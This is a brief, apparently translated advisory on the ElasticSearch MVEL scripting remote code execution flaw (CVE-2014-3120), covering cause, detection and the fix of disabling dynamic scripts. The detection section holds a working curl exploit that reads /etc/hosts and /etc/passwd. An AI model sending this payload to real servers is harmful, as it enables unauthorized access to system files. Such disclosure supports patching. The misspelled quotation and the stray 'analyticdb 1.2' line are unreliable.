ElasticSearch Remote Code Execution Vulnerability (CVE-2014-3120) Analysis

Principle

This vulnerability is actually very simple. ElasticSearch has the scripting function to conveniently reprocess the queried data.

The script engine used by ElasticSearch is MVEL, which does not provide any protection or sandbox packaging, so arbitrary code can be executed directly.

In ElasticSearch, dynamic scripts are enabled by default. Therefore, you can directly execute arbitrary code through http requests.

In fact, the official website is aware of this vulnerability, which is described in the document:

First, you shocould not run Elasticsearch as the root user, as this wocould allow a script to access or do anything on your server, without limitations. second, you shoshould not expose Elasticsearch directly to users, but instead have a proxy application inbetween.

Detection Method

Online Detection:

Http://tool.scanv.com/es.html can detect any address

The http://bouk.co/blog/elasticsearch-rce/poc.html only detects localhost, but will output the content of the/etc/hosts and/etc/passwd file to the web page

Manual Detection:

curl -XPOST 'http://localhost:9200/_search?pretty' -d '{  "size": 1,  "query": {    "filtered": {      "query": {        "match_all": {}      }    }  },  "script_fields": {    "/etc/hosts": {      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"    },    "/etc/passwd": {      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"    }  }}'

Solution

Turn off the script execution function and add the following to each node in the configuration file elasticsearch. yml:

script.disable_dynamic: true

Http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

Dynamic scripts are disabled by default in analyticdb 1.2.

Https://github.com/elasticsearch/elasticsearch/issues/5853

Refer:

Http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

Http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

Http://bouk.co/blog/elasticsearch-rce/